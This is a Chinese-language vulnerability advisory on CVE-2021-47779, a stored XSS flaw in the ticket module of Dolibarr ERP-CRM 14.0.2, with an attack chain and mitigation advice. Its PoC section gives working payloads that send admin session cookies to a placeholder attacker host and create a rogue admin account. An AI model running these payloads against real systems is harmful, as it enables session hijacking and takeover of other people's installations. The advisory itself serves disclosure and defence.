IPBUF安全漏洞报告
English
CVE-2021-47779 CVSS 5.4 中危

CVE-2021-47779 Dolibarr ERP-CRM存储型XSS漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47779
漏洞类型
存储型XSS (Stored Cross-Site Scripting)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Dolibarr ERP-CRM 14.0.2

相关标签

存储型XSSDolibarr ERP-CRM工单模块权限提升CVE-2021-47779跨站脚本会话劫持

漏洞概述

CVE-2021-47779是Dolibarr ERP-CRM 14.0.2版本中存在的一个存储型跨站脚本(XSS)漏洞。该漏洞位于工单创建模块,允许低权限用户通过精心构造的工单消息注入恶意JavaScript代码。由于是存储型XSS,恶意脚本会被永久保存在服务器端,所有访问该工单的用户都会受到攻击。当管理员或其他高权限用户查看或复制工单文本时,嵌入的恶意脚本会自动执行,可能导致会话劫持、敏感信息窃取乃至权限提升等严重后果。此漏洞的CVSS评分为5.4,属于中等严重级别,攻击复杂度低但需要用户交互,且攻击范围限于特定组件。

技术细节

漏洞根源在于Dolibarr工单创建模块对用户输入的内容缺乏充分的输入验证和输出编码。当低权限用户创建一个新工单时,系统未能对工单消息字段中的特殊字符和脚本标签进行过滤或转义处理。攻击者可以在工单消息中嵌入<script>标签或事件处理器属性(如onerror、onload等),这些恶意代码会被直接存储到数据库中。当管理员或高权限用户访问该工单时,浏览器会将其作为可信内容解析执行,从而触发XSS攻击。由于工单信息在系统中可能被多次引用(如复制、导出、搜索结果展示等),攻击面进一步扩大。攻击成功后,攻击者可以窃取管理员的会话Cookie、模拟管理员操作,甚至通过钓鱼等方式获取更高权限凭据。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者注册成为Dolibarr系统的低权限用户,了解工单创建模块的功能和位置
STEP 2
步骤2: 漏洞探测
攻击者尝试在工单消息字段中提交包含XSS payload的测试数据,验证漏洞是否存在
STEP 3
步骤3: 恶意脚本注入
攻击者精心构造包含恶意JavaScript代码的工单消息并提交,脚本被存储到数据库中
STEP 4
步骤4: 等待管理员触发
攻击者等待管理员或高权限用户访问、查看或复制该工单内容
STEP 5
步骤5: 脚本执行
管理员查看工单时,浏览器解析并执行嵌入的恶意脚本,攻击者获取敏感信息或执行特权操作
STEP 6
步骤6: 权限提升
攻击者利用窃取的会话信息或通过脚本操作创建管理员账户、修改权限,实现持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Stored XSS Payload for Dolibarr CVE-2021-47779 --> <!-- Create a new ticket with this payload in the message field --> <script> // Steal admin session cookies var cookies = document.cookie; var xhr = new XMLHttpRequest(); xhr.open('POST', 'https://attacker.com/steal', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('cookies=' + encodeURIComponent(cookies)); </script> <!-- Alternative payload using event handler --> <img src=x onerror="fetch('https://attacker.com/log?cookie='+document.cookie)"> <!-- Privilege escalation payload --> <script> // Create admin user or modify permissions fetch('/admin/users/create', { method: 'POST', body: 'username=attacker&password=Password123&admin=1' }); </script>

影响范围

Dolibarr ERP-CRM 14.0.2

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制低权限用户创建工单的权限;2) 在Web应用防火墙(WAF)层面配置XSS防护规则,过滤<script>标签和事件处理器属性;3) 对工单模块的输出内容实施严格的HTML净化处理;4) 提醒管理员在查看工单时禁用JavaScript或使用浏览器的XSS过滤器;5) 监控和审计工单内容的创建和修改记录,及时发现异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表